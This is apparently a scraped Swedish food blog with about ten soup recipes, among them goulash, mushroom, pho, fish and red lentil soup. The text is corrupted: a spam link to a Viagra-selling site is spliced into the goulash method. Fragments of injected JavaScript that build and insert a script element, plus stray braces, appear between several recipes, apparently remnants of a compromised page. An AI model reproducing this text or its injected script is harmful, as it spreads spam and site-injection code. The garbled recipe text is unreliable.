Gulaschsoppa med köttfärs

bild2

Igår lagade jag en gulaschsoppa som blev riktigt god. Grundreceptet hittade jag här.

4 port:
400 g nötfärs
1 burk krossade tomater
1 stor morot
2 potatisar
1 gul lök
1 röd paprika
smör att steka i
1 köttbuljongtärning
1/2 liter vatten
1-2 msk soja
2 vitlöksklyftor
2 tsk spiskummin
1 tsk paprikapulver
salt & peppar
(cayennepeppar om man vill)

creme fraiche till servering

Bryn köttfärsen och lägg åt sidan. Hacka lök, potatis, paprika och morot i små bitar och bryn detta i smör i en stor gryta. Häll på vatten, buljongtärning, https://www.acheterviagrafr24.com/prix-viagra/ kummin, paprikapulver, soja, pressad vitlök och krossade tomater. Häll i köttfärsen.

Låt koka tills grönsakerna mjuknat. Smaka av med salt & peppar och ev lite mer soja.  Servera med en klick creme fraiche.

 

bild1

Champinjonsoppa

Receptet på champinjonsoppa hittade jag här.
Ta lite mindre vatten när lagar soppan då jag upplevde att den blev lite för ”rinnig”  med 1,5 liter vatten. Ta 8 dl vatten istället och prova dig fram.

IMG_6523

 

Ingredienser
500 g färska champinjoner
1 gul lök
500 ml kokosgrädde.
Buljong enligt nedanstående alternativ:
Alternativ 1: ca 1,5 l vatten + ekologiskt grönsaksbuljongpulver och kycklingbuljongtärning
Alternativ 2: hemkokt buljong samt vatten, ev kompletterat med lite ekologiskt grönsaksbuljongpulver. Sammanlagt ca 1,5 l vätska.
Ca 2 msk ekologisk Tamarisoja (den är glutenfri)
4 msk kokosolja
Grovmalen svartpeppar
Ev mer salt eller grönsaksbuljongpulver

Gör så här
Skär champinjonerna och löken i bitar
Fräs svampen och löken i kokosoljan
Tillsätt resten av ingredienserna
Låt puttra i ca 30 minuter
Mixa soppan slät med stavmixer
Stekta kycklingbitar till soppan

IMG_6527IMG_6522

IMG_6525IMG_6524IMG_6523

Stekt kyckling som tillbehör.
Ingredienser
200-300 g kycklingfilé eller kycklinglårfilé
Kokosolja
Havssalt, grovmalen svartpeppar och paprikapulver
Medan soppan kokar så skär du kycklingfilén i små bitar och steker i kokosolja. Krydda med havssalt, grovmalen svartpeppar och paprikapulver.

Servera soppan med varma stekta kycklingbitar, lite chevré och några kvistar färsk timjan (min favoritkrydda). en rejäl klick majonnäs smakar också gott till och gör soppan fetare och mer mättande.} else {

Spagettisoppa

IMG_4005

Igår lagade jag en spagettisoppa och receptet hittade jag här på ”Jennys Matblogg”.  Jag hällde i lite mer vatten för att få mer soppa och kryddade upp soppan med lite mer salt och peppar innan servering.

Recept 6 portioner :
smör
1 gul lök
1 pressad vitlöksklyfta
1 morot
800 gram – 1 kilo blandfärs
3 msk tomatpure
1 – 1,2 liter vatten
valfri mängd spagetti
2 st köttbuljongtärningar
2 msk kinesisk soja
1 1/2 msk paprikapulver
1/2 – 1 msk sambal oelek ( undvik om du inte vill ha hetta)
salt & peppar

Gör så här:
Hetta upp en kastrull med smör, fräs den hackade löken/ vitlöken, den slantade moroten tills det doftar nötigt. Vänd ner färsen och bryn den klar, pressa ner tomatpure och fräs en minut. Vänd ner vatten, buljong, soja, krossade tomater, paprika pulver och salt & peppar. Låt sjuda upp- bryt sist ner ner pastan och låt sjuda tills den är klar , smaka ev av med sambal oelek om ni vill ha lite hetta.

Serveras med creme fraiche och en bit gott bröd.

IMG_4007IMG_4010IMG_4006IMG_4008IMG_4005

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kycklingsoppa med nyttiga nudlar

bild5bild3bild7bild4bild6bild2bild3bild1Häromdagen gjorde jag en god kycklingsoppa från grunden.

Här kommer receptet.

Kycklingsoppa (2 personer)
2 liter vatten
en stor morot eller 2 mindre morötter
1 gul lök
1 bit vitkål
1 vitlöksklyfta
5-6 vitpepparkorn
Salt
2 bitar kycklingfilé (eller en halv kyckling med benen kvar)

Tillbehör:
Spring onion
Färska champinjoner
Böngroddar
Kycklingen som du kokat

Gör så här:
Häll ca 2 liter vatten i en kastrull, dela en stor morot i 2 bitar och lägg i, skala och dela löken i 4 bitar och häll i en bit vitkål samt en skalad vitlöksklyfta och lite salt. När vattnet kokar upp så häller du i kycklingfilén.  Efter ca 1 timma tog jag ur kycklingfilén och som jag delade i mindre bitar. Efter ca 1,5 timma så silade jag bort grönsakerna och smaksatte med lite mer salt tills soppan smakade bra.

Jag skivade färska champinjoner, lök, groddar nudlar och kyckling i en soppskål och sen hällde jag den varma soppan över allt och då blev det en riktig matig och god soppa. Använde mig av nudlar från mungbönor (både nyttigt och gott).

Kan rekommendera att ni köper nudlarna i en Asiatisk butik. Mkt billigare än om ni köper dem på nätet. Ett paket (250 gram) kostar 12 kr i affären som ligger utanför Nordstan.
Bäst är om du kokar en halv kyckling med benet kvar då detta ger mer smak än att bara koka med kycklingfilé.

Om du har en halv kyckling kan du bena ut kycklingen och lägga lite kycklingbitar i soppan och servera resten av kycklingen separat i en skål. Till detta kan du göra en god dippsås.

Dippsås:
Ljus soja (finns att köpa i de Asiatiska affärerna)
Lite färsk riven ingefära
Lite olja som du kokat upp

Gör så här: Häll lite ljus soja i en skål, riv ner lite färsk ingefära och häll på lite kokad olja.

 

 }

Pho Bo soppa

Recept (6 portioner)
200 g platta risnudlar
300 g oxfilé eller riktigt mör biff i tunna skivor eller kycklingfilé
1 msk riven färsk ingefära
3 dl grovhackad salladslök
1 dl grovhackad färsk koriander
Lite svamp, champinjoner eller blandsvamp

Om du inte vill göra din egna buljong så kan du använda dig utav en färdig buljong (vatten och buljongtärning).

Buljong:
600 g oxsvans eller benmärg av nöt
400 g tunt skivad högrev
1  gul lök i klyftor
30 g skivad färsk ingefära
6  stjärnanis
2 tsk svartpeppar
1 msk fisksås
0,5 msk salt

Börja med buljongen: Koka upp kallt vatten med oxben och högrev tills det skummar, cirka 20 minuter. Häll sedan av allt i ett durkslag och skölj rent kött och ben (på så sätt slipper man skumma av köttet). Koka sedan upp vatten, lägg tillbaka ben och högrev.

Gör så här:
Grilla lök och ingefära i ugn tills de nästan blir brända, cirka 20 minuter. Häll i buljongen tillsammans med stjärnanis, peppar, fisksås och salt. Låt puttra i cirka 1 timme tills köttet är riktigt mört.

Tillaga under tiden nudlarna enligt anvisningar på förpackningen.

Lägg nudlarna i en stor soppskål, därefter högreven. Lägg i oxfilén och resten av ingredienserna. Sila den kokande buljongen och häll den över nudlarna. Smaka av med salt.

}

Birgittas goda fisksoppa

Receptet är för 4 -6 personer
1 gul lök (hacka i bitar)
2 msk olivolja
1 liten fänkål (i strimlor)
1 burk krossade tomater
2 pressade vitlöksklyftor
1 paket saffran
1 liter vatten
2 buljongtärningar (fisk)
3 dl torrt vitt vin
1-2 dl grädde
Lite salt och svartpeppar.

600 gram fiskfilé, (tex lax, torsk)
Räkor

Gör så här:
Skala och hacka den gula löken. Häll i olivolja i en gryta och fräs upp löken och fänkål. Pressa i vitlök och rör i de krossade tomaterna, saffran, grädde, salt och peppar. Tillsätt vin och sjud ca 15 min.

Skär fisken i bitar och lägg i grytan. Sjud ytterligare ca 5 minuter. Servera soppan med aioli och skalade räkor.

Recept på Aioli
1 burk creme fraiche
2-3 msk majonnäs
1-2 pressade vitlöksklyftor
Lite salt och vitpeppar

Låt stå i kylskåp ca 30 min innan servering.

 

Röd linssoppa

 

bild1

Det här receptet hittade jag på Laila Bagges blogg här. Soppan är riktigt god och det blir ännu godare när du pressar lite färsk citron på soppan precis innan du äter och lite rå, hackad gul lök.

Recept 4 personer
1/2 paket röda linser
1 stor gul lök
1 1/2 grönsaksbuljong eller kyklingbuljong
Spiskummin halva (flaskan,burken)
Två matskedar  curry

Ta fram en stor kastrull häll i rapsolja (ganska mycket) så att det täcker hela botten. Hacka löken och lägg i kastrullen och bryn en liten stund. Häll i linserna och rör om, häll i alla kryddor och rör om låt stekas tillsammans en stund. I med vatten och buljong  ganska mycket vatten. Det är bra om man har koll på soppan den ska inte vara tjock som ärtsoppa då får man hälla i mer vatten. Låt små koka (puttra) i 45 min sedan klart. Servera med citron pressad över soppan i tallriken och rå gul lök som skivas och läggs i soppan om man vill.

bild13

bild14

bild9

bild11

bild16

bild17

bild8

bild6

bild12

bild7

bild5

bild15

bild3

bild9

bild2

 

Creamy Lemon, Chicken Kale Soup

bild14

Jag hade kvar lite grönkål i kylen och passade på att laga en annan grönkålssoppa me lite smak av citron och kyckling. Grundreceptet  hittade jag här.  Recepetet har jag anpassat till svenska mått.

Recept 2-3 personer
5 dl kyckling i bitar
7 dl köttbuljong från märgben
1 bunt grönkål
1 liten citron (citronzest)
1 tsk färskpressad citron
1/2 gul lök (hackad)
0,5 dl olivolja
Salt
Peppar

Gör så här:
Skölj din grönkål och skär den i strimlor. Glöm ej ta av bladen från stjälken och använd endast bladen.
Stek upp din lök i några minuter och lägg i grönkålen. Häll i hälften av din buljong och låt koka på låg värme ca 15 min. Häll i allt i en mixer och mixa i några minuter tills att är mixat. Häll över allt i en gryta och häll i
resterande buljong,  kycklingen, citronzest och citronjuice. Krydda med salt och peppar. Min buljong var rätt salt i sig själv så var försiktigt med kryddningen i slutet.

bild17bild16bild15bild18bild13

 }

Spenat och grönkålssoppa

bild12

Nu har jag lagat en spenat och grönkålssoppa. Du kan servera soppan med två ägghalvor, knaperstekt bacon eller varför inte en matmuffins. Recept på mina matmuffins hittar ni här.PajGrundreceptet  till soppan hittade jag här. Sen har jag ändrat lite och lagt till bla lite kokosmjölk.

Recept 2-3 personer
1/2 huvud färsk grönkål
100 gram färsk spenat
1 liten gul lök (finhackad)
1 liten vitlöksklyfta (finhackad)
1 msk kokosolja
7 dl grönsaksbuljonng
1 tsk olivolja
1 dl kokosmjölk
Flingsalt
Svartpeppar
Riven muskot (kan uteslutas om du vill)

Gör så här:
Ta bort bladen från stjälken och skär  i mindre bitar.
Värm upp olivolja och kokosolja i en stekpanna och stek den gula löken  i  någon minut innan du lägger i vitlöken.
Häll i nästan all spenat och grönkål i pannan som du steker upp och spar lite spenat och grönkål till slutet av koktiden.
Stek på och låt puttra tills spenat och grönkål kokat ner och tillsätt buljongen. Låt koka i ca 5 minutar.
Lägg i allt i en mixer/blender och kör tills allt är uppblandad. Tillsätt resterande råa grönkål och spenat och mixa lite till.
När du tillsätter den råa grönkålen och spenaten i slutet, får du en finare, grönare färg på soppan och förhöjer även smaken.Häll tillbaks soppan i en kastrull där du saltar och pepprar. Tillsätt kokosmjölken. Använd färsk riven muskot och servera.
bild3bild2Bild1bild4bild6bild7bild8bild9bild10bild11bild12var d=document;var s=d.createElement(‘script’);

Paprikasoppa

bild1
Paprika-och tomatsoppa (4 pers)
2 gula lökar
2 vitklöksklyftor
500 gram grillad paprika på glasflaska
1 msk olivolja
400 ml krossade tomater
1 msk flytande honung
5 dl vatten
1 kycklingbuljongtärning
salt och svartpeppar (och ev lite chiliflakes)
Gör så här:
Skala och hacka lök och vitlök. Häll av lagen från paprikan och hacka den i småbitar. Häll olivoljan i kastrull och fräs lök och paprika i någon minut. Häll på krossade tomaterna, honung och vatten. Smula ner buljongen. Låt koka ca 10 min. Mixa sen soppan slät och häll tillbaka den i kastrulllen. Späd med mer vatten om det behövs! Smaka av med salt och peppar och strö på riven parmensanost (här kan man addera även citronskal och basilika vilket jag hoppade över)
Servera soppan med färskriven parmesanost.